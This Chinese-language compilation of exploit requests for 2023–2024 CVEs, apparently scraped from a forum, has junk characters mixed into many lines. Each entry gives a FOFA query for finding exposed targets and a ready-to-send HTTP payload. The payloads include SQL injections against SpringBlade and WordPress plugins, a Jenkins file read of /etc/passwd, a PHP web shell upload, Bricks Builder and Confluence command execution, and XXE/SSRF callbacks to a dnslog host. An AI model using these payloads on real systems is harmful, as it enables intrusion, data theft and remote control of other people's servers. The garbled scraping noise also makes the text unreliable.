- m8 _2 D5 K9 N; LConnection: close
; F; B$ v; e5 |' u$ m0 ^5 sContent-Length: 204
Content-Type: application/x-www-form-urlencoded
; k; Z& D2 G9 i4 ^, h; S6 qAccept-Encoding: gzip
' C: D: x- {8 Q% u( E
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

5 F$ \9 I! [" e1 K1 A
+ R( ?- ~/ q. G) |, T; c( |其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
+ @8 ?' I; V$ n% e<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
: b: [& M4 a% x0 D4 Q- {* H

104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
( s- H& Q4 Z) ECVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
/ O, `# c8 G, P, v2 f% @/ Q0 e( ], P# XContent-Length:41
0 p8 r, K# p; ^# I4 NAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
& M/ P+ f( A& j; XUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
) V; Z1 S# L" [% u# ?6 W: \( Z% UOrigin: http://192.168.0.1
5 W+ ^; a4 b" T: ?% O8 @- J" RReferer: http://192.168.0.1/advance/index.html?time=1671152380564
% A; n" P1 u3 w5 ]Accept-Encoding:gzip,deflate
9 }2 K; V1 C: V1 D+ m- iAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
  u( ~0 g9 g# v# C  g
{
0 l7 N/ N) ]* Q6 X5 K$ w"topicurl":"getSysStatusCfg",
# D% {: Z0 j* ]' a"token":""
}
1 i5 D# M) u0 G! |0 c
# f: V: Q; q8 @/ H# w, @4 U0 C' |' E105. SpringBlade v3.2.0 export-user SQL 注入
" e) {8 |+ k& }2 i; y* D' hFOFA：body="https://bladex.vip"
/ D' J7 @* i5 f. i$ Zhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
( \3 I7 B2 `0 Q" _9 S8 w
; z3 D, j9 x( d( p# z1 H106. SpringBlade dict-biz/list SQL 注入
7 X$ D0 C: H, z) a( TFOFA：body="Saber 将不能正常工作"
) a6 T# \5 ~% g4 Z6 w- a0 r8 @GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! I/ U' r& }2 d0 @0 m5 Q9 j* jBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
# U) q& G1 w5 rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! |( t% I: o: y9 E. s. cConnection: close
: x% K; s( G" {. ^" v" v3 ?

107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
; D1 W1 k/ u* i0 \' `! ], `GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
+ F+ s* W( c2 _5 l1 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
7 H1 J! p0 Z' _: @  ~Connection: close


) ?  V' T8 Y9 m7 Q! T: B* o- g108. D-Tale 3.9.0 SSRF
- p& ^" o5 b0 j* w7 ZCVE-2024-21642
9 _2 J5 |" ~8 Y, B" fFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
( f7 [6 \& I. e. U3 i) r" iHost: your-ip
Accept: application/json, text/plain, */*
1 O' ?+ J0 r" t7 g4 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
& [4 }8 U( j1 u+ wAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
, u3 s% l  q& v) j  O  e1 |Connection: close

- w( ~5 C- x# e( H1 e' W7 d& T
3 W8 j6 ?7 S5 j3 K% ~109. Jenkins CLI 任意文件读取
+ h5 Q$ L3 h" v8 L; {CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
( B& ]. m0 z# @) x: J/ XSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
# ^8 R- D+ g7 F# lConnection: keep-alive
Content-Length: 163

1 i3 y! C4 G- Y6 v& Mb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
8 p4 F( }+ M! `& K5 S# r; J% N

, k' U; `1 ~+ e- s: I! p, OPOST /cli?remoting=false HTTP/1.1
Host:
- v; r, x5 y$ q1 H, XSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
+ B% F3 }: F& u" o5 A  V( ]/ mdownload
: W- H0 Y) ^' @1 T, D& \4 c1 r+ X9 e# w& T6 zContent-Type: application/x-www-form-urlencoded
Content-Length: 0
9 b' [2 [2 P  D
) H! X, P6 X; k" r3 ^
% i% C* @/ m$ c9 z2 r4 h1 j" EERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
5 c* F$ q3 r" A1 E6 |( w[COMMAND]
2 j8 C8 p, @3 i1 |+ Z+ d. YLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
& a, V$ V8 d+ f4 F& [! @CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
: l3 X& l/ S8 j2 x' ?: K- WHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
. B; Q6 X$ v& P) E( Y) W3 s8 bAccept: */*
. [% |" x' f0 `0 sAccept-Language: en
/ b8 V2 F( l; h  hAccept-Encoding: gzip

4 Q" w. H# H5 ]" J) E
6 a1 O) a% r) ]* E- H( u111. WordPress Plugin HTML5 Video Player SQL注入
. g' ]- b- D6 }/ yCVE-2024-1061
7 R0 p1 U$ e2 _" sFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
4 c; D  v4 s( E! f/ ~& S& J% L2 {6 {1 PHost: 192.168.40.130:112
' h: Y( z) M; x7 bUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
' J/ t- O2 n; z, y  O2 a9 ]1 ], \' nAccept: */*
Accept-Language: en
2 L. d/ L9 d7 X, U; M- ]; `Accept-Encoding: gzip
1 u# {0 B+ D* ^: Z

112. WordPress Plugin NotificationX SQL 注入
: N" {8 B5 ^* \; ICVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
1 Z: {6 S6 o5 j1 u* a! j* c% N8 a
7 C7 n7 H' e8 D
$ s/ @% v8 y" @& R113. WordPress Automatic 插件任意文件下载和SSRF
' H8 T; N# w( {, f1 a( ICVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
& o  w5 e  T& @0 hConnection: close
Accept: */*
Accept-Language: en
! s5 z& a. T4 G* UAccept-Encoding: gzip
& e% I; a3 L3 q' w- c, C6 Q
; b& M3 [) t. ^2 b: {
114. WordPress MasterStudy LMS插件 SQL注入
5 H9 _7 m5 q" S6 wFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
. k: K- O, j5 R9 V4 @' p9 bHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

' Q* U, c5 @+ f) g( T
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
) z. a  ]' I) [& y, aFOFA: body="/wp-content/themes/bricks/"
: x% W3 h5 V! q8 V: z6 V第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
, Q( S6 \* I$ g& XConnection: close
0 N  c, y% c) Y0 m+ H  DAccept-Encoding: gzip


第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
3 x- p) b( S2 T  {4 l% y: \0 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
& W6 V: L. e! K2 }: \Content-Type: application/json
$ C  L% u# q! @6 ^* R6 D" U5 zAccept-Encoding: gzip

5 l0 K% l7 v" h: a. x{
! d( S# ~( z; A9 D' K  }- H"postId": "1",
! r. w. e& c' l9 `# S  "nonce": "第一步获得的值",
: G- W+ ^- v( I* d  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
  H: z  Z2 V$ F3 i. |        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
6 i+ [: s9 d6 O  f7 _        "objectType": "post"
      }
    }
  }
3 c: f- |( E) E7 A3 ^}
. ^( }# X, b5 w

116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
, n! I0 P3 H+ A" Z! p1 jPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
2 @' E' B) N. C' A! pContent-Type: multipart/form-data; boundary=--------767099171
. `! f; i- J! {User-Agent: Mozilla/5.0

# A5 I. [* g0 i7 |# Q9 O7 Q----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
) c' ^, ~' [, i1 W7 k----------767099171
  v; R6 b9 Y6 u  G* W; KContent-Disposition: form-data; name="form_request"
jssupportticket
7 I3 `; j: B) W----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
0 {, a: F+ Y3 N0 m8 S6 C
" J! u8 `  m+ C, [1 O2 B6 Y
117. WordPress LayerSlider插件SQL注入
! }% H4 g+ }$ y! u6 A7 vversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
; ^& X- |" r( v8 }* ^  \4 YGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
# ]# E* B8 p' T5 C( }! [4 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
+ |$ C1 Y0 I8 e! a! q  rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, d( {* ]0 \8 b# h* Q8 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
  E: h) U" W- Y) [. ~  F' EConnection: close
$ h! ?* W5 o; y3 `. z* i# kUpgrade-Insecure-Requests: 1

( u& u! d2 `# i1 R5 z/ u
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
4 e& x9 a/ c, y9 `  Y' j4 nCVE-2024-0939
FOFA：title="Smart管理平台"
# p3 `' ]: g$ }. x( u) }POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
0 v: N" x+ H4 `% ]- ECookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
5 ?) `+ B- b" F3 x  ?( YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( K; Z' g) A: V( h; OAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
/ e1 N" E$ S. M* v$ B3 WReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
2 w( ~1 |/ n$ ]( t4 ~. mSec-Fetch-Dest: document
; A) }% m4 p4 a  E0 wSec-Fetch-Mode: navigate
% l7 V( B# a& ?' Z" B( H' NSec-Fetch-Site: same-origin
1 K( J4 F; S; ~: DSec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------13979701222747646634037182887
1 W! F% H" j/ F. P5 c2 ]1 r7 KContent-Disposition: form-data; name="file_upload"; filename="contents.php"
# j+ J7 {% e2 E. bContent-Type: application/octet-stream
# F6 O' a& F: L" k2 ]! D
<?php
system($_POST["passwd"]);
. u# x  [4 L, Z?>
, P' C5 w7 g, x9 W-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

3 ^3 a) P* [" S/ ?$ A/home/src.php
-----------------------------13979701222747646634037182887--
: g/ Y9 Q" s3 C& R

, I0 U* @8 a8 d3 z, w访问/home/src.php
% H- y4 @+ l4 n  u3 E
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
9 V9 X. @; L- L$ WFOFA：title="Smart管理平台"
1 r: i) F, b6 ^( {1 R8 o先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
' p& C9 {) l# yCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
# u( d+ [1 J9 l/ m, b# sAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( a) O5 \' w" c9 r! W( K1 [  y! ]Accept-Encoding: gzip, deflate
& _  i, P1 b: c: w/ }Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
' H0 m9 ?; u) k5 c# F9 XOrigin: https://58.18.133.60:8443
  G7 H" K$ f1 m. y7 sReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
8 |  ^( ]( }- u% g! p9 ~Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
" c/ V! v( B9 \# T. }0 i; i1 TX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
6 N7 ?+ h. |! ]% c3 eX-Remote-Ip: 1.1.1.1
, a2 A! I/ D8 ~2 d) _) t1 RX-Remote-Addr: 1.1.1.1
1 s/ I: b2 _  ?" T$ I2 l* GTe: trailers
) q+ I+ o2 a: V9 @Connection: close

. K" ^: n+ o0 N2 M" G4 Osrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
7 B' E7 t! r( f% b! FFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
+ Z* [* `5 R4 h9 {8 YHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
; Z; S; c& H6 T+ {4 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( |- {$ `2 l" r  n; B% `9 u3 h3 GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ i0 N7 x7 Z0 k5 Q  _) z; oAccept-Encoding: gzip, deflate
& W* S1 Z3 I' B( I5 {Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
, O* g( S, u- B% L% b  o3 tOrigin: https://ip:port
4 V. E# l3 K# Q7 p6 F" KReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
/ W7 m8 n; N& A$ h' k* H, ISec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
0 H; z: x; Q4 QTe: trailers
Connection: close
9 O6 V0 B# T* Q0 R
1 e( j* K6 @& ?( W3 H# V-----------------------------42328904123665875270630079328
% K6 E9 x, b$ k) i! ZContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
6 q8 o) p6 c+ y( |+ J) h, }
<?php phpinfo()?>
- c, e! I+ `0 Q& r4 n+ ^- m$ R-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
" E! d& D9 A  W6 d' X
1
-----------------------------42328904123665875270630079328
- Z  V) @( t& _$ O- M6 t- B: OContent-Disposition: form-data; name="1_ck"

6 Y* w  k2 a6 H6 f1_radhttp
3 a! @4 M3 _$ m7 J. q" U  e-----------------------------42328904123665875270630079328
4 Y0 u7 W6 n# fContent-Disposition: form-data; name="mode"
/ T  B3 ~: l9 \4 v# f
, \% M% q9 P7 w3 m8 oimport
-----------------------------42328904123665875270630079328


2 Z9 |) T  w6 ?9 b9 X( H9 \文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
' C$ g2 |/ D/ ]& s7 d& O1 [) nCVE-2024-1918
9 Z. h2 ?" a" j. g  x, [. [: yFOFA：title="Smart管理平台"
9 d4 F% \, d( S+ mPOST /useratte/userattestation.php HTTP/1.1
6 }  w, o) T; p0 p* PHost: 192.168.40.130:8443
# E4 r$ B7 w% R1 e- n1 zCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, A; q0 s5 U' A9 o$ R6 ^2 X, XAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
: b% v7 q/ ^* f% s" a) b- eContent-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
8 A2 O- g$ f7 PSec-Fetch-Dest: document
( z* K- ^+ K/ j, Y9 }2 g+ O/ SSec-Fetch-Mode: navigate
% t$ \$ `2 G  V+ A; [Sec-Fetch-Site: same-origin
+ m& Y# \. H/ W( hSec-Fetch-User: ?1
9 ~8 o8 G6 ?, _  h! c6 B' ^Te: trailers
Connection: close

- g0 R, u& X% v; W7 u* ^  O* Q-----------------------------42328904123665875270630079328
8 @- v* R& S/ C6 bContent-Disposition: form-data; name="web_img"; filename="1.php"
# z% A9 E! Q. ZContent-Type: application/octet-stream
4 \$ t6 X& R. d7 n* B0 U. r
, o- p$ V/ T& K1 ?9 u; N/ P<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
; q6 \7 C6 a2 E  f  N
2 x1 s4 p5 E' [% T* y! z& ?! v# @1
-----------------------------42328904123665875270630079328
! c5 q3 D  |$ M& pContent-Disposition: form-data; name="1_ck"
0 p3 e1 G5 x6 U. l* `3 Z6 Z9 P
1_radhttp
-----------------------------42328904123665875270630079328
+ |/ t. ?/ m7 f5 }3 C# t! E2 L& u* \Content-Disposition: form-data; name="hidwel"

) D- T) y, z4 {* j' x: zset
-----------------------------42328904123665875270630079328
0 O! s, w4 p1 a$ b4 j2 h7 {
$ q0 X# f& J; _
boot/web/upload/weblogo/1.php
) U/ j9 e$ \' [5 R% G0 _5 i
2 [4 q1 f8 e+ Z7 {" D122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
7 @, U7 ~1 v2 }1 {其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
' F7 ]# q6 h7 J) {GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 i4 h/ t& n4 Z7 N8 @3 o; T( h9 UAccept-Encoding: gzip, deflate, br
  Z  _9 N* T* j; h/ \: G' `9 _, P/ TUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
- b) P4 J+ x: R8 q+ e% rSec-Fetch-Mode: navigate
) n9 i( G0 J4 a$ F5 ~  cSec-Fetch-Site: none
8 Y+ F3 c3 N  w& Z9 O, QSec-Fetch-User: ?1
: U/ c6 w, ^( [Te: trailers
+ u. r! W; I5 A% c+ _. SConnection: close
+ k  V4 `2 @/ y) {  G( T$ ^9 [

123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
( k; F2 I8 P  m7 F, Q1 N4 FAccept-Encoding: gzip, deflate, br
* p0 V! {5 E6 Q1 P: l7 u; BAccept: */*
) Z" G6 J: I/ O: c  C' pAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
7 F$ x0 k* y8 l: y; T* n/ h
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
  Y" {" l+ D6 o
$ q9 Q" w" y: l6 G* j& _) K1 u2 i+ g
3 X- m+ ?) S9 g& {124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
- `$ Z0 P: s, F/ D  s% I( i# X  b4 KPOST /Scripts/admintool?type=updatefile HTTP/1.1
& A1 H4 n6 `! l: qHost: 192.168.40.130:8282
; T: ^) P# W9 _User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
0 s+ s" Z- N1 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
' w# ]9 }3 `& E" w& BAccept-Encoding: gzip, deflate, br
/ A( x2 C* V0 b' U% DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
$ ]  t- \: T$ `
" e6 \- L. F# T8 V3 W
http://192.168.40.130:8282/Scripts/abcgcg.aspx
; P- y& n2 x* {
: ?% C4 q2 T5 u7 _. z% s; w125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
- \3 i% b4 ^- F& z& s- V( ?2 L; `FOFA：icon_hash="-82958153"
( I' Y  c' _# G/ \; R! h% l. chttps://github.com/watchtowrlabs ... bypass-add-user-poc
5 Y. _0 T* N  Q, Y# W7 l( k/ o

使用方法
, M% y9 w' Z$ n5 t$ w7 {; u) Gpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


5 D, ]4 B, Z) y7 p创建好用户后直接登录后台，可以执行系统命令。

6 u( a% S$ t) M- U126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
6 W9 ~6 B* `8 z/ ?GET /static/../../../../../etc/passwd HTTP/1.1
/ N! J3 e9 r! t' hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
; r! H0 B4 k0 `1 p, I- B0 `Connection: close
Accept: */*
7 O  ~+ Z5 Y* d5 v) dAccept-Language: en
Accept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
5 Z$ U' n+ W8 V9 N7 ]FOFA：body="Services/Identification/login.ashx"
7 F/ a( T7 g+ c# oPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
& ?5 f; I: L( s; G. P) g  sHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
5 k1 q$ |. T3 N. A0 xContent-Length: 415
% j4 b+ A) U, u1 J, MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& h. d5 l+ T0 t; c% Y0 ]0 u8 X  `Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
) x, H' H/ m0 c. Z
------WebKitFormBoundaryJGgV5l5ta05yAIe0
2 p# F& \2 @, z% V) m; K6 j+ eContent-Disposition: form-data;name="SystemName"

BIM
- X' [0 f8 `8 d9 p8 z------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain
# l9 e) p/ E( ~: w
<?xml version="1.0" encoding="UTF-8"?>
. A* T- m1 r; a+ Q/ K3 X<!DOCTYPE test [
; S, }0 y( y6 K2 e, M<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
# K/ a- x; |+ s6 y& t3 a) K; o! L]
>
  ^/ v% s: g+ e/ F1 V9 K  @1 {<test>&t;</test>
) f' A. ]" w5 v: W, T------WebKitFormBoundaryJGgV5l5ta05yAIe0--
0 ?( h; [4 h4 K) p4 C

- B, Z2 M/ h% D) A7 H/ x
. Q* k! G% Y. i* A2 Q1 k- r128. Adobe ColdFusion 反序列化
2 O& a( q* U" B9 w* R4 o) h: i7 rCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

